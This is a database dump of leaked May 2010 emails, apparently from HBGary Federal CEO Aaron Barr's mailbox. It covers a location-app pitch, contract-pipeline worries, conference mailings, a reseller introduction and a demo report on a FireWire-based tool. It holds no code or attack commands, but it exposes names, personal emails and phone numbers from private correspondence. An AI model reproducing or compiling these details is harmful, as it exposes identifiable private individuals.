Btw we have a registered name\r\nwe were thinking of using, Magpii.  The slogan is \"where the web meets\r\nlife\".  It\'s all about storing and organizing information as you live.\r\n\r\nEach spot on the map has a page, categorized;  Business pages, events,\r\nlandmarks, etc.  So instead of web pages you have location pages.\r\nUsers have their own personal information management pages where they\r\ncan organize their preferences, calendar, associations, etc.  As you\r\nupload content the content is associated with location pages as well\r\nas your personal page.\r\n\r\nPicture a partnership with national parks or smithsonian.  Your\r\nstanding near the lincoln memorial and you see a list of events, other\r\npeoples comments on their experience, photos.  Read a history of the\r\nmonument, save this as a favorite so you then get fed information\r\nabout events at this place on your personal page.\r\n\r\nWe can link in many different services.  Yelp for business reviews and\r\ncomments under the business pages.  Facebook and Twitter for user list\r\nand associations, eventful for events, etc.\r\n\r\nA good article on why VCs think Foursquare is worth $100m.\r\n\r\nhttp://www.businessinsider.com/why-vcs-think-foursquare-is-worth-100-million-2010-4\r\nFoursquare was just offered $10\r\n\r\nAll this and their service really provides little of substantive\r\nvalue.  The way I would break the local advertising market is this.  I\r\nwould not do what everyone else is doing and focusing on chains and\r\nretail channel partners.  I would pick three target markets, DC,\r\nDenver, San Francisco.  Hire college students to knock on doors, show\r\nbusinesses the service and offer the first year free for early\r\nadopters.  My channel partners would be local governments, national\r\nparks, event coordinators.  Focus on delivering the content and\r\nengaging the local businesses at a grassroots level.  Have to lure the\r\nusers with substantive content.\r\n\r\nAaron\r\nSent from my iPad\r\n',6686,'aaron_hbgary_com/6686.html'),(6505,'2010-05-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004669.M832830P14101Q1360.eml','\"Ted Vera\" <tedvera@me.com>','Re: Dolphin Hunting in Europe','That is aweful.  Holy Shit.  How do they get away with that.\r\n\r\nOn May 20, 2010, at 12:38 AM, Ted Vera wrote:\r\n\r\n> WTF?????!!!\r\n> \r\n> Check out this video on YouTube:\r\n> \r\n> http://www.youtube.com/watch?v=9D4Dm8kC4iA&feature=youtube_gdata\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',6627,'aaron_hbgary_com/6627.html'),(6506,'2010-05-20','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','/aaron@hbgary.com/new/1297004671.M341059P14101Q1361.eml','\"Aaron Barr\" <aaron@hbgary.com>','FW: Google APPs as Future IRADS','\r\n\r\n\r\n\r\n\r\nFW: Google APPs as Future IRADS\r\n\r\n\r\n\r\n\r\nInteresting development.&nbsp; Ever been to the developer conference mentioned?\r\n\r\nChris\r\n\r\n\r\n\r\n_____________________________________________\r\nFrom: Newbern, David W (TASC)\r\nSent: Thursday, May 20, 2010 12:17 PM\r\nTo: Rademacher, Michael B (TASC)\r\nCc: Thurn, Martin (TASC); Clair, Chris (TASC); Hyde, Stephen R (TASC)\r\nSubject: Google APPs as Future IRADS\r\n\r\n\r\n\r\nMike:&nbsp; You are probably ahead of me on this one already . . .\r\n\r\nBelow paragraph from Connected Planet underscores potential use of Google APPs as a new business area for IRADs.&nbsp; \r\n\r\nGoogle is all over the world (except China) . . .&nbsp; Dave\r\n\r\n\r\n\r\nGoogle makes bid to dominate location by sending it into the cloud\r\n\r\nby Rich KarpinskiMay 20th, 2010\r\n\r\n\r\nIt&#8217;s not as if Google hasn&#8217;t been lining up its mobile/location-based ducks in a row for some time now. From the Android OS to Google Maps to the integration of local results into its core search engine results, Google has been making the shift from having mobile rather than desktop access sit at the very center of its business for some time now. At the Google I/O developer conference this week, the search giant released a series of APIs that could serve as the engine that shifts its location ambitions into overdrive. At the center of its efforts is a new API for its Latitude service that lets users share and developers access information about a user&#8217;s location.\r\n\r\n\r\n\r\n\r\n\r\n',8809,'aaron_hbgary_com/8809.html'),(6507,'2010-05-20','\"Sheri Page\" <sheri@executivebiz.com>','/aaron@hbgary.com/new/1297004671.M566059P14101Q1362.eml','\"Sheri Page\" <sheri@executivebiz.com>','ExecutiveBiz 4 x 24 Information Request','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nExecutiveBiz and the Potomac Officers Club are in the\r\nprocess of updating our database.&nbsp; Can you kindly take a moment to reply\r\nto this email with your current company mailing address (including mail stop if\r\napplicable) and office telephone number?\r\n\r\n&nbsp;\r\n\r\nMany thanks in advance for your help and cooperation!\r\n\r\n&nbsp;\r\n\r\nSheri Page\r\n\r\nThe Potomac Officers Club and ExecutiveBiz\r\n\r\n8230 Old Courthouse Road, Suite 460\r\n\r\nVienna, VA&nbsp; 22182\r\n\r\nPhone:&nbsp; 703-752-7449\r\n\r\nFax:&nbsp; 703-752-7454\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',2969,'aaron_hbgary_com/2969.html'),(6508,'2010-05-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004671.M783680P14101Q1363.eml','\"Ira Entis\" <Ira.Entis@agilex.com>,\"Ira Entis\" <Ira.Entis@agilex.com>','Re: Rates & availability to do a client phone discussion','Hi Ira,\r\n\r\nHave some time to talk about next steps?  Have you heard from the customer?\r\nAaron\r\n\r\nOn Apr 22, 2010, at 4:01 PM, Ira Entis wrote:\r\n\r\n> Aaron --\r\n> \r\n> 2 questions:\r\n> \r\n> 1) what is your hourly rate for ethical hacking?\r\n> \r\n> 2) what are possible windows of time for a 30 minute client phone discussion next Monday or Tuesday?\r\n> \r\n> Thanks,\r\n> \r\n> Ira\r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',9924,'aaron_hbgary_com/9924.html'),(6509,'2010-05-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004671.M993344P14101Q1364.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>','TA1','I just received word that we lost TA1.  GD will request a debrief.\r\nThis causes me some pause.  Our pipeline is not working out like Ted\r\nand I hoped.  We are 0 for 3 for gigs in the short term.  We are\r\nteamed on USCERT, NTOC, FBI SOCs and a few other long term contract\r\nbut these don\'t come to fruition for 6-12 months.  Ok so that\'s the\r\nbad news.\r\n\r\nOn the positive side.  I think we will have a discriminating IR\r\ncapability in 30 days.  We will be working feverishly to make this\r\nstrong.  We also have other opportunities/projects on the pipeline\r\nwith near term revenue potential; CDC, NANA, OSD (irv), GD tasks,\r\nverdasys.  Bottom line we need revenue fast so we are focused on\r\nfinding any short term work that will bring that in as soon as\r\npossible.\r\n\r\nGive me a call to discuss.\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n',2405,'aaron_hbgary_com/2405.html'),(6510,'2010-05-20','\"AFCEA International\" <noreply@emails.afcea.org>','/aaron@hbgary.com/new/1297004672.M195543P14101Q1365.eml','aaron@hbgary.com','Win Business with New AFCEA Courses','\r\nAFCEA International\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n		\r\n		\r\n        \r\n\r\n902 New!&nbsp; Project Management Professional; June 7-11, 2010 \r\n907 New!&nbsp; The Ultimate Government Market Research Workshop; July 6, 2010\r\n906 New!&nbsp; The Business of Winning:&nbsp; Seven Steps to Success in Government Contracting;&nbsp; July 7-8, 2010\r\nCourse Descriptions:\r\n902 New!&nbsp; Project Management Professional; June 7-11, 2010\r\nThis course is designed for experienced project managers desiring to increase their project management (PM)\r\n  skills, apply a standards-based approach to PM, and prepare for PMI&rsquo;s Project Management Professional (PMP)\r\n  examination. Government, military, and industry professionals who should attend include project managers,\r\n  project leads, project coordinators, team leads, program managers, directors, and others whose responsibility it\r\n  is to undertake and/or create a unique product, service, or result. Current PMPs desiring to earn 40 professional development units to maintain their certification should also attend.&nbsp; Course completion certificates will be provided by the University of Puerto Rico, Mayaguez Campus.\r\n907 New!&nbsp; The Ultimate Government Market Research Workshop; July 6, 2010\r\nThis course delivers practical examples of how public market research tools and other research resources can increase success and lower costs of government business development. The course poses research problems, demonstrates the use of research tools, features active discussion, and offers the opportunity to research sample questions in small groups. It also includes a candid exchange among participants of their experiences with vendors of market research consulting services. Attendees will gain a solid understanding of how government business opportunities are uncovered and will get take-home exercises to develop skills after the class is done.\r\n906 New!&nbsp; The Business of Winning:&nbsp; Seven Steps to Success in Government Contracting;&nbsp; July 7-8, 2010\r\nThis course covers the challenges small business teams and prime contractors are likely to encounter in winning\r\n  government business.&nbsp; The instructor uses active discussion, case studies, and group exercises. Business strategy, targeting, and\r\n  relationship development are the foundation of this course, with an emphasis on free public sources of information.\r\nOther courses offered in June and July:\r\n603 Data Mining Technologies and Applications in Business Intelligence and NAtional Security; June 2-4.\r\n204    Basic Intelligence Support to Cyber Conflict; June 21. \r\n206    Advanced Intelligence Support to Cyber Conflict, June 24-25. \r\n507 NEW! Software Quality Assurance and Improvement;&nbsp; July 7-9.\r\n386 NEW!&nbsp; NIST 800-37 - Security Certification and Accreditation of Federal Information Systems; July 13-16.\r\n387 NEW! DIACAP - Certification and Accreditation (C&amp;A) Process; July 20-23.\r\n650 Cyber Security - The Building Block of IT; NEW DATE July 20-23.\r\n388 NEW! Advanced Cyber Network Defense Training; July 27-30.\r\n&nbsp;\r\n All courses will be held in Fairfax, VA unless otherwise noted. \r\nFor full course descriptions, fees, instructor bios, and to register, click on the applicable course number.\r\n            \r\n          Questions? Check FAQs, email the PDC Registrar at pdc@afcea.org or call PDC Registrars, Jill Malinchak or Gloria Kirkland (703) 631-6137.\r\n    \r\n                    \r\n          \r\nThis email is provided as a professional courtesy. If you\'d prefer not to receive future notices, please Click Here\r\n\r\nAFCEA International: 4400 Fair Lakes Court Fairfax, Virginia 22033 \r\nhttp://www.afcea.org\r\n\r\n	\r\n	  \r\n  \r\n\r\n\r\n\r\n\r\n\r\n',14840,'aaron_hbgary_com/14840.html'),(6511,'2010-05-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004672.M431865P14101Q1366.eml','\"Irving Mr OSD ATL Lachow\" <Irving.Lachow@osd.mil>','Lincoln','Irv,\r\n\r\nMaybe the beat use of Lincoln is as one of the sponsor of an effort we\r\nput together with Ray.\r\n\r\nAaron\r\n\r\n From my iPhone\r\n',4026,'aaron_hbgary_com/4026.html'),(6512,'2010-05-20','\"AFCEA NOVA Small Business Committee\" <events@afceanova.org>','/aaron@hbgary.com/new/1297004672.M637619P14101Q1367.eml','aaron@hbgary.com','DISA GIG Enterprise Services (GES) - Small Business Breakfast - Jun 8, Sheraton Tysons','\r\n\r\nAFCEA NOVA\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n   \r\n    \r\n     \r\n        Follow \r\n          AFCEA NOVA on\r\n         \r\n           \r\n          \r\n          \r\n    \r\n  \r\n   \r\n    \r\n         \r\n          Home\r\n          About \r\n            AFCEA NOVA\r\n          Membership\r\n           Events\r\n          Contact \r\n            Us\r\n          AFCEA \r\n            Int\'l\r\n        \r\n      \r\n  \r\n   \r\n    &nbsp;\r\n  \r\n   \r\n    &nbsp;\r\n  \r\n\r\n\r\n   \r\n    \r\n     Jun \r\n        8 (Tue), 2010 -- AFCEA NOVA Small Business Breakfast\r\n        \r\n        DISA GIG Enterprise Services (GES)\r\n      Please \r\n        join the AFCEA NOVA Small Business Breakfast Committee for a morning with \r\n        DISA&#8217;s newly appointed Technical Director, Global Information Grid \r\n        Enterprise Services, Mr. John Wilmer. As we all know the DISA conference \r\n        was canceled this past month due to the unfortunate flood waters in Nashville. \r\n        However, DISA has graciously agreed to come speak to our small business \r\n        community and discuss the information that was to be released at the DISA \r\n        Partnership Conference - normally released to the general public months \r\n        after the event. So come join us and get the latest insight to DISA&#8217;s \r\n        operations and future plans. Plus INPUT will talk about the prospects \r\n        for the DISA Business space.\r\n         \r\n        \r\n        Speakers:\r\n      John \r\n        &quot;Jack&quot; Wilmer (bio)\r\n        Technical Director\r\n        Global \r\n        Information Grid Enterprise Services\r\n        Defense Information Systems Agency (DISA)\r\n      Kevin \r\n        M. Plexico \r\n        (bio) \r\n        \r\n        Executive Vice President, Operations\r\n        INPUT\r\n      Register \r\n        to Attend or Sponsor a Table\r\n        (as always, Gratis to Gov/Mil employees)\r\n      SPONSORSHIP \r\n        &amp; BENEFITS -- Corporate Table Sponsor \r\n        -- $300\r\n      \r\n        Table \r\n          sponsorship - placement up front\r\n          (4 attendees from your company &amp; 4 other AFCEA NOVA guests placed \r\n          randomly by AFCEA NOVA)\r\n        Logo \r\n          on event website\r\n        Logo \r\n          on event marketing emails\r\n        Logo \r\n          on event program\r\n        Sign-up \r\n          to Sponsor a Table at the Breakfast\r\n      \r\n      DETAILS\r\n      WHEN:\r\n        Tuesday, \r\n        June 8, 2010\r\n        7:00am - Check-In &amp; Reception\r\n        7:30am - Seating &amp; Breakfast Served\r\n        8:00am - Speaker Presentations\r\n        9:15am - Program Concludes\r\n      \r\n        WHERE:\r\n        Sheraton Premiere at Tysons Corner\r\n        8661 Leesburg Pike\r\n        Vienna, Virginia 22180\r\n      \r\n        COST:\r\n        Industry Member Pre-Registered -- $35\r\n        Industry Non-member Pre-Registered -- $40\r\n        Industry Member Walk-in -- $40 (if space is available)\r\n        Industry Non-member Walk-in -- $45 (if space is available)\r\n        Government Reservations -- Gratis (but we need you to pre-register to \r\n        attend)\r\n      It is not \r\n        necessary to be a member of AFCEA to attend the small business breakfasts... \r\n        But once you come to an event, we think you\'ll want to join us!\r\n      Register \r\n        to Attend or Sponsor a Table\r\n        (as always, Gratis to Gov/Mil employees)\r\n      \r\n    \r\n    \r\n    \r\n       \r\n         \r\n      \r\n         \r\n          \r\n               \r\n                AFCEA \r\n                    NOVA UpComing Events\r\n                  \r\n              \r\n            \r\n        \r\n         \r\n          \r\n               \r\n                \r\n                    \r\n                    Young AFCEANS Mentor-Protege Night - &quot;Career Progression&quot;\r\n                  Maggiano\'s\r\n                    Tysons Corner,\r\n                    Jun 3 (Thu), 2010\r\n                    \r\n                    \r\n              \r\n               \r\n                \r\n                    \r\n                    Small Business Breakfast - DISA GIG Enterprise Services (GES)\r\n                  Sheraton \r\n                    Premiere Tysons Corner,\r\n                    Jun 8 (Tue), 2010\r\n                    \r\n                    \r\n              \r\n               \r\n                \r\n                    \r\n                    June Monthly Lunch w/ John Garing, Dir, Strategic Planning \r\n                    &amp; Information, DISA\r\n                  Sheraton \r\n                    Premiere Tysons Corner,\r\n                    Jun 11 (Fri), 2010\r\n                    \r\n                    \r\n              \r\n               \r\n                \r\n                    \r\n                    Mil/Gov Career Transition Seminar &amp; Dinner\r\n                  Doubtree \r\n                    Crystal City,\r\n                    Jun 14 (Mon), 2010\r\n                    \r\n                    \r\n              \r\n               \r\n                 \r\n                    \r\n                      \r\n                      SAVE THE DATE:\r\n                      2nd Annual Warfighter Support Agencies IT Day\r\n                      (formerly Combat Support IT Day)\r\n                    Sheraton \r\n                      Premiere Tysons Corner,\r\n                      Jul 15 (Thu), 2010\r\n                      \r\n                      \r\n                  \r\n              \r\n              \r\n                All \r\n                    Upcoming events...\r\n              \r\n            \r\n        \r\n       \r\n      \r\n    \r\n    \r\n  \r\n   \r\n    \r\n  \r\n\r\n\r\n   \r\n    \r\n  \r\n   \r\n    Armed \r\n      Forces Communications &amp; Electronics Association, Northern Virginia Chapter\r\n      U.S. Mail: AFCEA NOVA, 428 Hume Ave., 2nd floor, Alexandria, VA 22301\r\n      email: events@afceanova.org | voice: 703-549-6911 | fax: 703-995-4890\r\n  \r\n\r\n \r\n  Management Consulting and Events Planning by : CAPLEAD \r\n  | info@caplead.com\r\n   \r\n\r\nClick Here to be removed from this list\r\n\r\n\r\n',15880,'aaron_hbgary_com/15880.html'),(6513,'2010-05-20','\"AFCEA International\" <noreply@emails.afcea.org>','/aaron@hbgary.com/new/1297004672.M890790P14101Q1368.eml','aaron@hbgary.com','Register now for Regional Collaboration in Cybersecurity Conference','\r\n\r\n	AFCEA International\r\n    \r\n\r\n    \r\n\r\n\r\n\r\n\r\n	\r\n		\r\n\r\n              \r\n            \r\n              \r\n                \r\n                \r\n              \r\n            \r\n          \r\n          &nbsp;\r\n      Regional Collaboration in Cybersecurity Conference: \r\n      Securing the Cloud, Web, and Virtual Networks \r\n      Co-hosted by The National Defense University and The National University of Singapore\r\n      and Supported by AFCEA and the NDU Foundation \r\n      &nbsp;\r\n      13-14 July 2010 (Shangri-La Hotel, Singapore)\r\n      &nbsp;\r\n      www.ndu.edu/irmc/cybersec \r\n      &nbsp;\r\n      As the President of National Defense University and on behalf of the leadership team at NDU, I am pleased to invite you to attend the upcoming Regional Collaboration in Cybersecurity Conference, co-hosted by the NDU iCollege and the National University of Singapore.&nbsp; This 2-day, international event will be held at the Shangri-La Hotel in Singapore on July 13-14. &nbsp; \r\n      We feel this will be an especially important and useful international event and hope you consider attending.&nbsp; A key component of this conference includes an overview of the latest information technologies, while considering the critical challenge of information security.&nbsp; Our intent is to gather regional decision makers to collaborate on topics of mutual interest in an open and active forum.&nbsp; More than 20 nations are expected to send senior-level government and private-sector representatives (from the U.S. and Far East regional countries) interested in forming relationships to collaborate on Cybersecurity matters. \r\n      &nbsp;\r\n      Panel discussions are planned on Regional Cybersecurity Issues, Private Sector Solutions, and International Cybersecurity Collaboration.&nbsp; Attendees will also have the opportunity to choose from the following Break-Out Sessions: Cyberterrorism, Information Operations &amp; Cyberwarfare, Wireless Hacking, Social Media, e-Crime Management, and hands-on Cyber Laboratories.&nbsp; Many networking opportunities are also included in the agenda.&nbsp; \r\n      Registration is now OPEN!&nbsp; The Early Bird rate is available until May 31.&nbsp; A special overnight rate is also available at the Shangri-La Hotel for those needing room reservations.&nbsp; Conference information, including the latest agenda, a downloadable flyer, and registration link, can be located at http://www.ndu.edu/irmc/cybersec.&nbsp; Details will continue to be updated on the NDU iCollege website as they become available.\r\n      &nbsp;\r\n      The event includes presentations by: \r\n      \r\n        His Excellency, The Honorable Jaak Aaviksoo, Minister of Defense, Estonia\r\n        Honorable John G. Grimes, former U.S. Assistant Secretary of Defense for Networks and Information Integration/DOD CIO\r\n        Dr. James Heath, \r\n        Technical Director, U.S. Forces Korea, Special Advisor for Cyber Operations\r\n        Brig Gen David Koh, Director Military Security, Ministry of Defense, Singapore\r\n        Mohd Noor Amin, Chairman, IMPACT\r\n        Yu Chien Siang, Ministry of Home Affairs, Singapore Government\r\n        Prinya Hom-anek, President, ACIS and Asian Advisory Board \r\n        Don Adams, Chief Information Security Officer, TIBCO\r\n        Meng-Chow Kang, Co-Chair, Regional Asia Information Security Exchange\r\n        Kent Schneider, President, AFCEA International\r\n        David Aucsmith, Senior Director Institute for Advanced Technology in Governments, Microsoft\r\n        Douglas Tang, Managing Director, PCS Security\r\n        Lim Chin Keng, Director, F5 Networks\r\n        Siva Belasamy, Director, Oracle\r\n        Eric Cole, Chief Technology Officer Americas, McAfee\r\n        Gerard Tan, President Association of IS Professionals\r\n        Don Proctor, Senior Vice President, CISCO \r\n        LTC Husin, Cybersecurity Malaysia\r\n        Suguro Yamaguchi, Japan CERT/CC\r\n        Benjamin Mah, General Manager, e-Cop\r\n        Robert Childs, Senior Director, NDU iCollege\r\n        Lim Swee Cheang, Director, National University of Singapore ISS\r\n      \r\n      We would be honored to have you join us at this important, regional event.&nbsp; Please feel free to pass on this information to others you feel may be interested in attending and/or sending a representative to this very important, international conference. &nbsp;The NDU point of contact is Ms. Patricia Coopersmith.&nbsp; She can be reached via email at coopersmithp@ndu.edu.&nbsp; \r\n      A.E. Rondeau\r\n      Vice Admiral, U.S. Navy\r\n      President\r\n      \r\n	  \r\n	  \r\n	  \r\n	  \r\n	  \r\n          \r\nThis email is provided as a professional courtesy. If you\'d prefer not to receive future notices, please Click Here\r\n\r\nAFCEA International: 4400 Fair Lakes Court Fairfax, Virginia 22033 \r\nhttp://www.afcea.org\r\n\r\n	  \r\n	  \r\n	  \r\n	  \r\n	  \r\n	  \r\n	    \r\n	\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8188,'aaron_hbgary_com/8188.html'),(6514,'2010-05-20','\"Lachow, Irving Mr OSD ATL\" <Irving.Lachow@osd.mil>','/aaron@hbgary.com/new/1297004673.M148502P14101Q1369.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Lincoln','Good idea.  How did the meeting with Ray and Nathan end up?\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Thursday, May 20, 2010 12:51 PM\r\nTo: Lachow, Irving Mr OSD ATL\r\nSubject: Lincoln\r\n\r\nIrv,\r\n\r\nMaybe the beat use of Lincoln is as one of the sponsor of an effort we\r\nput together with Ray.\r\n\r\nAaron\r\n\r\n From my iPhone\r\n',7161,'aaron_hbgary_com/7161.html'),(6515,'2010-05-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004673.M386751P14101Q1370.eml','\"Lachow, Irving Mr OSD ATL\" <Irving.Lachow@osd.mil>','Re: Lincoln','I think it went well.  They seemed excited.  Were going to set up some\r\nother meetings to help the discussion.  I\'ll check up with them\r\ntomorrow after they have had some time to process to see how they\r\nwould like to proceed.\r\n\r\nRay seems like the right guy to help get this off the ground.  I know\r\nwe can make a success of it.\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\nOn May 20, 2010, at 2:17 PM, \"Lachow, Irving Mr OSD ATL\"\r\n wrote:\r\n\r\n> Good idea.  How did the meeting with Ray and Nathan end up?\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Thursday, May 20, 2010 12:51 PM\r\n> To: Lachow, Irving Mr OSD ATL\r\n> Subject: Lincoln\r\n>\r\n> Irv,\r\n>\r\n> Maybe the beat use of Lincoln is as one of the sponsor of an effort we\r\n> put together with Ray.\r\n>\r\n> Aaron\r\n>\r\n> From my iPhone\r\n',1014,'aaron_hbgary_com/1014.html'),(6516,'2010-05-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004673.M597120P14101Q1371.eml','edward.wagner@ngc.com','Discussion','Hey Ted,\r\n\r\nIf you have some time would like to get together.\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n',15872,'aaron_hbgary_com/15872.html'),(6517,'2010-05-20','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297004682.M538435P14101Q1372.eml','\"Arnav Manchanda\" <a.manchanda@secdev.ca>,\"Aaron Barr\" <aaron@hbgary.com>','RE: Introduction','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Guys,\r\n\r\n&nbsp;\r\n\r\nAttached is our standard reseller form.&nbsp; Here are\r\ndatasheets and two white papers.&nbsp; We are releasing a new white paper at\r\nCEIC, so I&#8217;ll send that to you once it&#8217;s out.&nbsp; \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Arnav Manchanda\r\n[mailto:a.manchanda@secdev.ca] \r\nSent: Wednesday, May 19, 2010 4:18 AM\r\nTo: Aaron Barr\r\nCc: Penny Leavy\r\nSubject: Re: Introduction\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHi Aaron,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI\'m free to talk today, between 10 and 1pm EST and 4-5 EST.\r\nGive me a shout whenever\'s best 613-755-4007\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nBest,\r\n\r\n\r\n\r\n\r\n\r\nArnav\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn 2010-05-18, at 4:22 PM, Aaron Barr wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Arnav,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nSure. &nbsp;Cc\'d is the president of HBGary Inc. &nbsp;They\r\nbuild and manage the product. &nbsp;Penny will get you the reseller agreement.\r\n&nbsp;We use the HBGary products as our foundation for enterprise incident response\r\nengagements. &nbsp;I will send you some information on this. &nbsp;Can we talk\r\nbriefly tomorrow?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn May 18, 2010, at 4:15 PM, Arnav Manchanda &lt;a.manchanda@secdev.ca&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThanks for this. It was good to speak to you on Friday.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nLooking forward to receiving a reseller agreement/other\r\nmaterials that we can go through.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nBest wishes,\r\n\r\n\r\n\r\n\r\n\r\nArnav\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nArnav\r\nManchanda\r\n\r\n\r\n\r\nBusiness Capture &amp; Analytics\r\n\r\nThe&nbsp;SecDev&nbsp;Group\r\ncomplexity.engaged\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWorld Exchange Plaza\r\n\r\n\r\n\r\n\r\n\r\n45 O\'Connor Street, Suite 1150\r\n\r\n\r\n\r\n\r\n\r\nOttawa, Ontario K1P 1A4\r\n\r\n\r\n\r\n\r\n\r\nOffice:&nbsp;+1 (613) 755-4007\r\nCell:&nbsp;&nbsp;+1 (613) 806-4081\r\nE-mail:&nbsp;a.manchanda@secdev.ca&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nThis\r\nemail and any attached files are confidential and copyright protected. If you\r\nare not the addressee, any dissemination of this communication is strictly\r\nprohibited. Unless otherwise expressly agreed in writing, nothing stated in\r\nthis communication shall be legally binding.\r\n\r\n&nbsp;\r\n\r\nConsider\r\nthe environment. Please don\'t print this e-mail unless you really need to.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn 2010-05-14, at 3:49 PM, Aaron Barr wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSent from my iPad\r\n\r\n\r\n\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: May 14, 2010 11:14:20 AM EDT\r\nTo: Scott K. Brown &lt;sbrown@dewnet.ncsc.mil&gt;\r\nCc: Nart Villeneuve &lt;nart.villeneuve@utoronto.ca&gt;\r\nSubject: Introduction\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nScott,\r\nLet me introduce Nart Villeneuve. &nbsp;Nart is the CTO for SecDev. &nbsp;Most\r\nrecently they have put together and presented some very interesting findings on\r\nthe cyber attacks against the office of the Dali Lama (ghostnet) and some\r\nbroader related attacks (shadownet). &nbsp;Their investigative techniques are\r\nthorough and would likely provide some good information to the group at the\r\nREBL conference.\r\n\r\nNart,\r\nScott managed the Blue Team at NSA and is putting together this years\r\nconference. &nbsp;He is looking for some interesting speakers concerning\r\nmalware, malware analysis, threats, integration of capabilities, etc. &nbsp;I\r\nmentioned to him I thought your talk would be appropriate and engaging.\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9970,'aaron_hbgary_com/9970.html'),(6518,'2010-05-20','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297004684.M600042P14101Q1373.eml','\"Martin Pillion\" <martin@hbgary.com>,\"Scott Pease\" <scott@hbgary.com>,mark@hbgary.com,\"Penny Leavy\" <penny@hbgary.com>,\"Barr Aaron\" <aaron@hbgary.com>','Project B Demo / Update','I just spoke with Bill, the customer demo went well.  They had 66\r\nlaptops available for test, 26 of which had built in firewire ports.\r\nEleven of those ran various flavors of XP and our tool worked the\r\nfirst time, everytime.  The remaining 15 had various versions of Vista\r\n(some of which were not on our compatible OS list).  It worked on 13\r\nof these, but some needed 2-3 attempts.  GD\'s tool experienced the\r\nsame kind of wonky behavior on some of the laptops.  Bill is getting\r\nthe problem laptops from the customer and will add some funding\r\n(`$10K) to our Task so we can go out for a few days to see if we can\r\ntroubleshoot / increase reliability on those platforms.  He said it is\r\nlikely that the customer will want to port our tool to the ipod, but\r\nhe requested that we cut the Command Post functionality and try to\r\nreduce cost by 25% 